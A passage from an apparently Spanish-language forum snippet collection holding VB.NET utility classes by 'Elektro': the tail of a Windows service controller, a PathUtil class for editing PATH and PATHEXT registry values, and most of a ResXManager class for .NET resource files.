ServiceControllerStatus.StopPending,
ServiceControllerStatus.Paused,
ServiceControllerStatus.PausePending
For Each dependantSvc As ServiceController In svc.ServicesDependedOn
If GetStartMode(dependantSvc) = SvcStartMode.Disabled Then
Throw New Exception(String.Format("Cannot start service '{0}' because a dependant service '{1}' is disabled.",
svcName, dependantSvc.ServiceName))
Exit Select
End If
Next dependantSvc
svc.Start()
If wait Then
svc.WaitForStatus(ServiceControllerStatus.Running)
End If
Case ServiceControllerStatus.Running,
ServiceControllerStatus.StartPending,
ServiceControllerStatus.ContinuePending
If throwOnStatusMissmatch Then
Throw New Exception(String.Format("The service '{0}' is already running or pendng to run it.", svcName))
End If
End Select
Case SvcStatus.Stop
Select Case svc.Status
Case ServiceControllerStatus.Running,
ServiceControllerStatus.StartPending,
ServiceControllerStatus.ContinuePending
svc.Stop()
If wait Then
svc.WaitForStatus(ServiceControllerStatus.Stopped)
End If
Case ServiceControllerStatus.Stopped,
ServiceControllerStatus.StopPending,
ServiceControllerStatus.Paused,
ServiceControllerStatus.PausePending
If throwOnStatusMissmatch Then
Throw New Exception(String.Format("The service '{0}' is already stopped or pendng to stop it.", svcName))
End If
End Select
Case Else
Throw New ArgumentException("Unexpected enumeration value.", paramName:="status")
End Select
End If
Catch ex As Exception
Throw
Finally
If svc IsNot Nothing Then
svc.Close()
End If
End Try
End Sub
#End Region
End Class
PathUtil, una class para administrar los directorios de la variable de entorno PATH, y las extensiones de la variable de entorno PATHEXT.
( IMPORTANTE: Esta class depende de mi otra Class RegEdit, que pueden descargar aquí: http://foro.elhacker.net/net/libreria_de_snippets_compartan_aqui_sus_snippets-t378770.0.html;msg2003658#msg2003658 )
(http://i.imgur.com/NxNUnOQ.png)
' ***********************************************************************
' Author : Elektro
' Modified : 09-April-2015
' ***********************************************************************
' <copyright file="PathUtil.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Option Statements "
Option Explicit On
Option Strict On
Option Infer Off
#End Region
#Region " Path Util "
Namespace Tools
''' <summary>
''' Contains related PATH and PATHEXT registry tools.
''' </summary>
Public NotInheritable Class PathUtil
#Region " Properties "
''' <summary>
''' Gets the registry path of the Environment subkey for the current user.
''' </summary>
''' <value>The registry path of the Environment subkey for the current user.</value>
Public Shared ReadOnly Property EnvironmentPathCurrentUser As String
Get
Return "HKEY_CURRENT_USER\Environment"
End Get
End Property
''' <summary>
''' Gets the registry path of the Environment subkey for all users.
''' </summary>
''' <value>The registry path of the Environment subkey for all users.</value>
Public Shared ReadOnly Property EnvironmentPathAllUsers As String
Get
Return "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
End Get
End Property
''' <summary>
''' Gets the default data of the PATH registry value of a 32-Bit Windows.
''' </summary>
''' <value>The default data of the PATH registry value of a 32-Bit Windows.</value>
Public Shared ReadOnly Property DefaultPathDataWin32 As String
Get
Return "C:\Windows;C:\Windows\System32;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0"
End Get
End Property
''' <summary>
''' Gets the default data of the PATH registry value of a 64-Bit Windows.
''' </summary>
''' <value>The default data of the PATH registry value of a 64-Bit Windows.</value>
Public Shared ReadOnly Property DefaultPathDataWin64 As String
Get
Return "C:\Windows;C:\Windows\System32;C:\Windows\System32\Wbem;C:\Windows\SysWOW64;C:\Windows\System32\WindowsPowerShell\v1.0"
End Get
End Property
''' <summary>
''' Gets the default data of the PATHEXt registry value.
''' </summary>
''' <value>The default data of the PATHEXt registry value.</value>
Public Shared ReadOnly Property DefaultPathExtData As String
Get
Return ".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE"
End Get
End Property
''' <summary>
''' Gets the registry export string format.
''' </summary>
''' <value>The registry export string format.</value>
Private Shared ReadOnly Property ExportStringFormat As String
Get
Return "Windows Registry Editor Version 5.00{0}{0}" &
"[HKEY_CURRENT_USER\Environment]{0}" &
"""PATH""=""{1}""{0}" &
"""PATHEXT""=""{2}""{0}{0}" &
"[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]{0}" &
"""PATH""=""{3}""{0}" &
"""PATHEXT""=""{4}"""
End Get
End Property
#End Region
#Region " Enumerations "
''' <summary>
''' Specifies the registry user mode.
''' </summary>
Public Enum UserMode
''' <summary>
''' The current user (HKCU).
''' </summary>
Current = 0
''' <summary>
''' All users (HKLM).
''' </summary>
AllUsers = 1
End Enum
#End Region
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="PathUtil"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Gets the default data of the PATH value for the registry of the specified user (as String).
''' </summary>
''' <returns>The default data of the PATH value for the registry of the specified user.</returns>
Public Shared Function GetDefaultPathDataString() As String
If Not Environment.Is64BitOperatingSystem Then
Return DefaultPathDataWin32
Else
Return DefaultPathDataWin64
End If
End Function
''' <summary>
''' Gets the default data of the PATH value for the registry of the specified user (as Enumerable).
''' </summary>
''' <returns>The default data of the PATH value for the registry of the specified user.</returns>
Public Shared Function GetDefaultPathDataList() As IEnumerable(Of String)
If Not Environment.Is64BitOperatingSystem Then
Return DefaultPathDataWin32.Split({";"c}, StringSplitOptions.RemoveEmptyEntries)
Else
Return DefaultPathDataWin64.Split({";"c}, StringSplitOptions.RemoveEmptyEntries)
End If
End Function
''' <summary>
''' Gets the data of the PATH value on the registry of the specified user (as String).
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <returns>The data of the PATH value on the registry of the specified user.</returns>
''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
Public Shared Function GetPathDataString(ByVal userMode As UserMode) As String
Select Case userMode
Case PathUtil.UserMode.Current
Return RegEdit.GetValueData(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATH")
Case PathUtil.UserMode.AllUsers
Return RegEdit.GetValueData(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATH")
Case Else
Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
End Select
End Function
''' <summary>
''' Gets the data of the PATH value on the registry of the specified user (as Enumerable).
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <returns>The data of the PATH value on the registry of the specified user.</returns>
Public Shared Function GetPathDataList(ByVal userMode As UserMode) As IEnumerable(Of String)
Return GetPathDataString(userMode).Split({";"c}, StringSplitOptions.RemoveEmptyEntries)
End Function
''' <summary>
''' Gets the data of the PATHEXT value on the registry of the specified user (as String).
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <returns>The data of the PATHEXT value on the registry of the specified user.</returns>
''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
Public Shared Function GetPathExtDataString(ByVal userMode As UserMode) As String
Select Case userMode
Case PathUtil.UserMode.Current
Return RegEdit.GetValueData(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATHEXT")
Case PathUtil.UserMode.AllUsers
Return RegEdit.GetValueData(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATHEXT")
Case Else
Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
End Select
End Function
''' <summary>
''' Gets data of the data of the PATHEXT value on the registry of the specified user (as Enumerable).
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <returns>The data of the PATHEXT value on the registry of the specified user.</returns>
Public Shared Function GetPathExtDataList(ByVal userMode As UserMode) As IEnumerable(Of String)
Return GetPathExtDataString(userMode).Split({";"c}, StringSplitOptions.RemoveEmptyEntries)
End Function
''' <summary>
''' Determines whether the PATH value exists on the registry of the specified user.
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <returns><c>true</c> if PATH value exists, <c>false</c> otherwise.</returns>
''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
Public Shared Function PathExists(ByVal userMode As UserMode) As Boolean
Select Case userMode
Case PathUtil.UserMode.Current
Return RegEdit.ExistValue(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATH")
Case PathUtil.UserMode.AllUsers
Return RegEdit.ExistValue(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATH")
Case Else
Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
End Select
End Function
''' <summary>
''' Determines whether the PATHEXT value exists on the registry of the specified user.
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <returns><c>true</c> if PATHEXT value exists, <c>false</c> otherwise.</returns>
''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
Public Shared Function PathExtExists(ByVal userMode As UserMode) As Boolean
Select Case userMode
Case PathUtil.UserMode.Current
Return RegEdit.ExistValue(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATHEXT")
Case PathUtil.UserMode.AllUsers
Return RegEdit.ExistValue(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATHEXT")
Case Else
Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
End Select
End Function
''' <summary>
''' Exports the PATH and PATHEXT values to a target registry file.
''' </summary>
''' <param name="filepath">The filepath.</param>
''' <exception cref="Exception"></exception>
Public Shared Sub Export(ByVal filepath As String)
Try
IO.File.WriteAllText(filepath,
String.Format(ExportStringFormat,
Environment.NewLine,
GetPathDataString(UserMode.Current),
GetPathExtDataString(UserMode.Current),
GetPathDataString(UserMode.AllUsers),
GetPathExtDataString(UserMode.AllUsers)),
encoding:=System.Text.Encoding.Unicode)
Catch ex As Exception
Throw
End Try
End Sub
''' <summary>
''' Creates a PATH value on the registry of the specified user and optionally fills the value with the specified data.
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
Public Shared Sub CreatePath(ByVal userMode As UserMode,
Optional data As String = "")
Try
Select Case userMode
Case PathUtil.UserMode.Current
RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATH", valueData:=data)
Case PathUtil.UserMode.AllUsers
RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATH", valueData:=data)
Case Else
Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
End Select
Catch ex As Exception
Throw
End Try
End Sub
''' <summary>
''' Creates a PATHEXT value on the registry of the specified user and optionally fills the value with the specified data..
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
Public Shared Sub CreatePathExt(ByVal userMode As UserMode,
Optional data As String = "")
Try
Select Case userMode
Case PathUtil.UserMode.Current
RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATHEXT", valueData:=data)
Case PathUtil.UserMode.AllUsers
RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATHEXT", valueData:=data)
Case Else
Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
End Select
Catch ex As Exception
Throw
End Try
End Sub
''' <summary>
''' Adds a directory into the PATH registry value of the specified user.
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <param name="directory">The directory path.</param>
''' <exception cref="ArgumentException">Directory contains invalid character(s).;directory</exception>
''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
Public Shared Sub AddDirectory(ByVal userMode As UserMode,
ByVal directory As String)
If directory.Any(Function(c As Char) IO.Path.GetInvalidPathChars.Contains(c)) Then
Throw New ArgumentException(message:="Directory contains invalid character(s).", paramName:="directory")
Else
Select Case userMode
Case PathUtil.UserMode.Current
RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATH",
valueData:=String.Join(";"c, GetPathDataList(userMode).Concat({directory}).Distinct).Trim(";"c))
Case PathUtil.UserMode.AllUsers
RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATH",
valueData:=String.Join(";"c, GetPathDataList(userMode).Concat({directory}).Distinct).Trim(";"c))
Case Else
Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
End Select
End If
End Sub
''' <summary>
''' Adds a file extension into the PATHEXT registry value of the specified user.
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <param name="extension">The file extension.</param>
''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
Public Shared Sub AddExtension(ByVal userMode As UserMode,
ByVal extension As String)
If Not extension.StartsWith("."c) Then ' Fix extension.
extension.Insert(0, "."c)
End If
Select Case userMode
Case PathUtil.UserMode.Current
RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATHEXT",
valueData:=String.Join(";"c, GetPathExtDataList(userMode).Concat({extension})).Trim(";"c))
Case PathUtil.UserMode.AllUsers
RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATHEXT",
valueData:=String.Join(";"c, GetPathExtDataList(userMode).Concat({extension})).Trim(";"c))
Case Else
Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
End Select
End Sub
''' <summary>
''' Deletes a directory from the PATH registry value of the specified user.
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <param name="directory">The directory path.</param>
Public Shared Sub DeleteDirectory(ByVal userMode As UserMode,
ByVal directory As String)
Dim dirs As IEnumerable(Of String) =
From dir As String In GetPathDataList(userMode)
Where Not dir.ToLower.Equals(directory, StringComparison.OrdinalIgnoreCase)
CreatePath(userMode, data:=String.Join(";"c, dirs))
End Sub
''' <summary>
''' Deletes a directory from the PATH registry value of the specified user.
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <param name="index">The directory index, 0 = First.</param>
''' <exception cref="IndexOutOfRangeException">Directory index is out of range.</exception>
Public Shared Sub DeleteDirectory(ByVal userMode As UserMode,
ByVal index As Integer)
Dim dirs As List(Of String) = GetPathDataList(userMode).ToList
If (dirs.Count > index) Then
dirs.RemoveAt(index)
Else
Throw New IndexOutOfRangeException(Message:="Directory index is out of range.")
End If
CreatePath(userMode, data:=String.Join(";"c, dirs))
End Sub
''' <summary>
''' Deletes a file extension from the PATHEXT registry value of the specified user.
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <param name="extension">The file extension.</param>
Public Shared Sub DeleteExtension(ByVal userMode As UserMode,
ByVal extension As String)
If Not extension.StartsWith("."c) Then ' Fix extension.
extension.Insert(0, "."c)
End If
Dim exts As IEnumerable(Of String) =
From ext As String In GetPathExtDataList(userMode)
Where Not ext.ToLower.Equals(extension, StringComparison.OrdinalIgnoreCase)
CreatePath(userMode, data:=String.Join(";"c, exts))
End Sub
''' <summary>
''' Deletes a file extension from the PATHEXT registry value of the specified user.
''' </summary>
''' <param name="userMode">The user mode.</param>
''' <param name="index">The file extension index, 0 = First.</param>
''' <exception cref="IndexOutOfRangeException">File extension index is out of range.</exception>
Public Shared Sub DeleteExtension(ByVal userMode As UserMode,
ByVal index As Integer)
Dim exts As List(Of String) = GetPathExtDataList(userMode).ToList
If (exts.Count > index) Then
exts.RemoveAt(index)
Else
Throw New IndexOutOfRangeException(Message:="File extension index is out of range.")
End If
CreatePathExt(userMode, data:=String.Join(";"c, exts))
End Sub
''' <summary>
''' Determines whether the PATH registry value of the specified user contains a directory.
''' </summary>
''' <param name="usermode">The usermode.</param>
''' <param name="directory">The directory path.</param>
''' <returns><c>true</c> if contains the specified directory; <c>false</c> otherwise.</returns>
Public Shared Function ContainsDirectory(ByVal usermode As UserMode,
ByVal directory As String) As Boolean
Return GetPathDataList(usermode).Any(Function(dir As String) dir.Equals(directory, StringComparison.OrdinalIgnoreCase))
End Function
''' <summary>
''' Determines whether the PATHEXT registry value of the specified user contains a directory.
''' </summary>
''' <param name="usermode">The usermode.</param>
''' <param name="extension">The file extension.</param>
''' <returns><c>true</c> if contains the specified file extension; <c>false</c> otherwise.</returns>
Public Shared Function ContainsExtension(ByVal usermode As UserMode,
ByVal extension As String) As Boolean
If Not extension.StartsWith("."c) Then ' Fix extension.
extension.Insert(0, "."c)
End If
Return GetPathExtDataList(usermode).Any(Function(ext As String) ext.Equals(extension, StringComparison.OrdinalIgnoreCase))
End Function
#End Region
End Class
End Namespace
#End Region
Una Class para administrar un archivo de recursos de .Net ( file.resx )
' ***********************************************************************
' Author : Elektro
' Modified : 16-March-2015
' ***********************************************************************
' <copyright file="ResXManager.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Usage Examples "
'Imports System.IO
'Imports System.Text
'Public Class Form1
' Private Sub Test() Handles MyBase.Shown
' Dim resX As New ResXManager(Path.Combine(Application.StartupPath, "MyResources.resx"))
' With resX
' ' Create or replace the ResX file.
' .Create(replace:=True)
' ' Add a string resource.
' .AddResource(Of String)("String Resource", "Hello World!", "String Comment")
' ' Add a bitmap resource.
' .AddResource(Of Bitmap)("Bitmap Resource", SystemIcons.Information.ToBitmap, "Bitmap Comment")
' ' Add a binary resource.
' .AddResource(Of Byte())("Binary Resource", File.ReadAllBytes("C:\file.mp3"), "Binary Comment")
' End With
' ' *******************************************************************************************************
' ' Get the string resource.
' Dim stringResource As ResXManager.Resource(Of String) =
' resX.FindResource(Of String)("String Resource", StringComparison.OrdinalIgnoreCase)
' ' Get the bitmap resource.
' Dim bitmapResource As ResXManager.Resource(Of Bitmap) =
' resX.FindResource(Of Bitmap)("Bitmap Resource", StringComparison.OrdinalIgnoreCase)
' ' Get the binary resource.
' Dim binaryResource As ResXManager.Resource(Of Byte()) =
' resX.FindResource(Of Byte())("Binary Resource", StringComparison.OrdinalIgnoreCase)
' ' *******************************************************************************************************
' ' Get the string data.
' Dim stringData As String = stringResource.Data
' ' Get the bitmap data.
' Dim bitmapData As Bitmap = bitmapResource.Data
' ' Get the binary data.
' Dim binaryData As Byte() = binaryResource.Data
' ' *******************************************************************************************************
' ' Get all the resources at once.
' Dim resources As IEnumerable(Of ResXManager.Resource) = resX.Resources
' ' Get all the resources of specific Type at once.
' Dim stringResources As IEnumerable(Of ResXManager.Resource(Of String)) = resX.FindResources(Of String)()
' ' *******************************************************************************************************
' ' Get all the resource datas at once from Resource collection.
' Dim resourceDatas As IEnumerable(Of Object) =
' From res As ResXManager.Resource In resX.Resources
' Select res.Data
' ' Get all the resource datas of specific Type at once from Resource collection.
' Dim stringResourceDatas As IEnumerable(Of String) =
' From res As ResXManager.Resource In resX.Resources
' Where res.Type Is GetType(String)
' Select DirectCast(res.Data, String)
' ' *******************************************************************************************************
' ' Treat the string data as you like.
' MessageBox.Show(stringData, String.Empty, MessageBoxButtons.OK, MessageBoxIcon.Information)
' ' Treat the bitmap data as you like.
' Me.Icon = Icon.FromHandle(bitmapData.GetHicon)
' ' Treat the binary data as you like.
' File.WriteAllBytes("C:\new file.mp3", binaryData)
' ' *******************************************************************************************************
' ' Iterate all the resources.
' For Each res As ResXManager.Resource In resX.Resources
' Dim sb As New StringBuilder
' sb.AppendLine(String.Format("Name...: {0}", res.Name))
' sb.AppendLine(String.Format("Comment: {0}", res.Comment))
' sb.AppendLine(String.Format("Type...: {0}", res.Type.ToString))
' sb.AppendLine(String.Format("Data...: {0}", res.Data.ToString))
' MsgBox(sb.ToString)
' Next
' ' Iterate all the resources of specific Type.
' For Each res As ResXManager.Resource(Of String) In resX.FindResources(Of String)()
' Dim sb As New StringBuilder
' sb.AppendLine(String.Format("Name...: {0}", res.Name))
' sb.AppendLine(String.Format("Comment: {0}", res.Comment))
' sb.AppendLine(String.Format("Type...: {0}", res.Type.ToString))
' sb.AppendLine(String.Format("Data...: {0}", res.Data.ToString))
' MsgBox(sb.ToString)
' Next
' ' *******************************************************************************************************
' ' Remove a resource.
' resX.RemoveResource("Binary Resource")
' ' GC.Collect()
' End Sub
'End Class
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.ComponentModel.Design
Imports System.IO
Imports System.Resources
#End Region
''' <summary>
''' Manages a .Net managed resource file.
''' </summary>
Public NotInheritable Class ResXManager
#Region " Properties "
''' <summary>
''' Gets the .Net managed resource file path.
''' </summary>
''' <value>The .Net managed resource filepath.</value>
Public ReadOnly Property FilePath As String
Get
Return Me.filePath1
End Get
End Property
''' <summary>
''' The .Net managed resource file path.
''' </summary>
Private ReadOnly filePath1 As String
''' <summary>
''' Gets the resources contained in the .Net managed resource file.
''' </summary>
''' <value>The resources.</value>
Public ReadOnly Property Resources As IEnumerable(Of Resource)
Get
Return GetResources()
End Get
End Property
#End Region
#Region " Types "
#Region " Resource "
''' <summary>
''' Defines a resource of a .Net managed resource file.
''' </summary>
<Serializable>
Public NotInheritable Class Resource
#Region " Properties "
''' <summary>
''' Gets the resource name.
''' </summary>
''' <value>The resource name.</value>
Public ReadOnly Property Name As String
Get
Return Me.name1
End Get
End Property
Private ReadOnly name1 As String
''' <summary>
''' Gets the resource data.
''' </summary>
''' <value>The resource data.</value>
Public ReadOnly Property Data As Object
Get
Return Me.data1
End Get
End Property
Private ReadOnly data1 As Object
''' <summary>
''' Gets the resource type.
''' </summary>
''' <value>The resource type.</value>
Public ReadOnly Property Type As Type
Get
Return Data.GetType
End Get
End Property
''' <summary>
''' Gets the resource comment.
''' </summary>
''' <value>The resource comment.</value>
Public ReadOnly Property Comment As String
Get
Return comment1
End Get
End Property
Private ReadOnly comment1 As String
''' <summary>
''' Represents a <see cref="Resource"/> instance that is <c>Nothing</c>.
''' </summary>
''' <value><c>Nothing</c></value>
<EditorBrowsable(EditorBrowsableState.Advanced)>
Public Shared ReadOnly Property Empty As Resource
Get
Return Nothing
End Get
End Property
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="Resource"/> class.
''' </summary>
''' <param name="name">The resource name.</param>
''' <param name="data">The resource data.</param>
''' <param name="comment">The resource comment.</param>
Public Sub New(ByVal name As String,
ByVal data As Object,
ByVal comment As String)
Me.name1 = name
Me.data1 = data
Me.comment1 = comment
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="Resource"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Hidden Methods "
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function Equals(ByVal obj As Object) As Boolean
Return MyBase.Equals(obj)
End Function
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
''' <summary>
''' Gets the System.Type of the current instance.
''' </summary>
''' <returns>The exact runtime type of the current instance.</returns>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function [GetType]() As Type
Return MyBase.GetType
End Function
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function ToString() As String
Return MyBase.ToString
End Function
#End Region
End Class
#End Region
#Region " Resource(Of T) "
''' <summary>
''' Defines a resource of a .Net managed resource file.
''' </summary>
<Serializable>
Public NotInheritable Class Resource(Of T)
#Region " Properties "
''' <summary>
''' Gets the resource name.
''' </summary>
''' <value>The resource name.</value>
Public ReadOnly Property Name As String
Get
Return Me.name1
End Get
End Property
Private ReadOnly name1 As String
''' <summary>
''' Gets the resource data.
''' </summary>
''' <value>The resource data.</value>
Public ReadOnly Property Data As T
Get
Return Me.data1
End Get
End Property
Private ReadOnly data1 As T
''' <summary>
''' Gets the resource type.
''' </summary>
''' <value>The resource type.</value>
Public ReadOnly Property Type As Type
Get
Return GetType(T)
End Get
End Property
''' <summary>
''' Gets the resource comment.
''' </summary>
''' <value>The resource comment.</value>
Public ReadOnly Property Comment As String
Get
Return comment1
End Get
End Property
Private ReadOnly comment1 As String
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="Resource(Of T)"/> class.
''' </summary>
''' <param name="name">The resource name.</param>
''' <param name="data">The resource data.</param>
''' <param name="comment">The resource comment.</param>
Public Sub New(ByVal name As String,
ByVal data As T,
ByVal comment As String)
Me.name1 = name
Me.data1 = data
Me.comment1 = comment
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="Resource(Of T)"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Hidden Methods "
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function Equals(ByVal obj As Object) As Boolean
Return MyBase.Equals(obj)
End Function
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
''' <summary>
''' Gets the System.Type of the current instance.
''' </summary>
''' <returns>The exact runtime type of the current instance.</returns>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function [GetType]() As Type
Return MyBase.GetType
End Function
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function ToString() As String
Return MyBase.ToString
End Function
#End Region
End Class
#End Region
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="ResXManager"/> class.
''' </summary>
''' <param name="resxFilePath">The .Net managed resource filepath.</param>
Public Sub New(ByVal resxFilePath As String)
Me.filePath1 = resxFilePath
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="ResXManager"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Creates the .Net managed resource file.
''' </summary>
''' <param name="replace">if set to <c>true</c>, replaces any existent file.</param>
''' <exception cref="System.Exception"></exception>
Public Sub Create(Optional ByVal replace As Boolean = False)
If Not replace AndAlso File.Exists(Me.filePath1) Then
Throw New Exception(String.Format("Resource file already exists: {0}", Me.filePath1))
Exit Sub
End If
Dim resXWritter As ResXResourceWriter = Nothing
Try
resXWritter = New ResXResourceWriter(Me.filePath1)
Using resXWritter
resXWritter.Generate()
End Using
Catch ex As Exception
Throw
Finally
If resXWritter IsNot Nothing Then
resXWritter.Close()
End If
End Try
End Sub
''' <summary>
''' Adds a resource into the .Net managed resource file.
''' </summary>
''' <param name="name">The resource name.</param>
''' <param name="data">The resource data.</param>
''' <param name="comment">The resource comment.</param>
''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
''' <exception cref="System.ArgumentException">A resource with the same name already exists in the table.;name</exception>
Public Sub AddResource(ByVal name As String,
ByVal data As Object,
Optional ByVal comment As String = Nothing)
Me.AddResource(replace:=False, name:=name, data:=data, comment:=comment)
End Sub
''' <summary>
''' Adds a specified resource of the specified type into the .Net managed resource file.
''' </summary>
''' <typeparam name="T"></typeparam>
''' <param name="name">The resource name.</param>
''' <param name="data">The resource data.</param>
''' <param name="comment">The resource comment.</param>
''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
''' <exception cref="System.ArgumentException">A resource with the same name already exists in the table.;name</exception>
Public Sub AddResource(Of T)(ByVal name As String,
ByVal data As T,
Optional ByVal comment As String = Nothing)
Me.AddResource(replace:=False, name:=name, data:=data, comment:=comment)
End Sub
''' <summary>
''' Replaces a resource by the specified name inside the .Net managed resource file.
''' </summary>
''' <param name="name">The resource name.</param>
''' <param name="data">The resource data.</param>
''' <param name="comment">The resource comment.</param>
''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
''' <exception cref="System.ArgumentException">A resource with the same name already exists in the table.;name</exception>
Public Sub ReplaceResource(ByVal name As String,
ByVal data As Object,
Optional ByVal comment As String = Nothing)
Me.AddResource(replace:=True, name:=name, data:=data, comment:=comment)
End Sub
''' <summary>
''' Replaces a resource by the specified name of the specified type inside the .Net managed resource file.
''' </summary>
''' <typeparam name="T"></typeparam>
''' <param name="name">The resource name.</param>
''' <param name="data">The resource data.</param>
''' <param name="comment">The resource comment.</param>
''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
''' <exception cref="System.ArgumentException">A resource with the same name already exists in the table.;name</exception>
Public Sub ReplaceResource(Of T)(ByVal name As String,
ByVal data As T,
Optional ByVal comment As String = Nothing)
Me.AddResource(replace:=True, name:=name, data:=data, comment:=comment)
End Sub
''' <summary>
''' Finds a resource by the specified name of specified type inside the .Net managed resource file.
''' </summary>
''' <typeparam name="T"></typeparam>
''' <param name="name">The resource name.</param>
''' <param name="stringComparison">The <see cref="StringComparison"/> to compare the resource name.</param>
''' <returns>The resource.</returns>
''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
''' <exception cref="System.ArgumentException">Resource with the specified name is not found.;name</exception>
''' <exception cref="System.ArgumentException">The specified Type differs from the resource Type.;T</exception>
Public Function FindResource(Of T)(ByVal name As String,
Optional ByVal stringComparison As StringComparison =
StringComparison.OrdinalIgnoreCase) As Resource(Of T)
If Not File.Exists(Me.filePath1) Then
Throw New FileNotFoundException("Resource file not found.", Me.filePath1)
Exit Function
End If
' Read the ResX file.
Dim resX As ResXResourceReader = Nothing
Dim res As Resource(Of T) = Nothing
Try
resX = New ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
Using resX
For Each entry As DictionaryEntry In resX
If entry.Key.ToString.Equals(name, stringComparison) Then
Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
res = New Resource(Of T)(name:=node.Name,
data:=DirectCast(node.GetValue(DirectCast(Nothing, ITypeResolutionService)), T),
comment:=node.Comment)
Exit For
End If
Next entry
End Using ' resX
Return res
Catch ex As Exception
Throw
Finally
If resX IsNot Nothing Then
resX.Close()
End If
End Try
End Function
''' <summary>
''' Finds a resource by the specified name inside the .Net managed resource file.
''' </summary>
''' <param name="name">The resource name.</param>
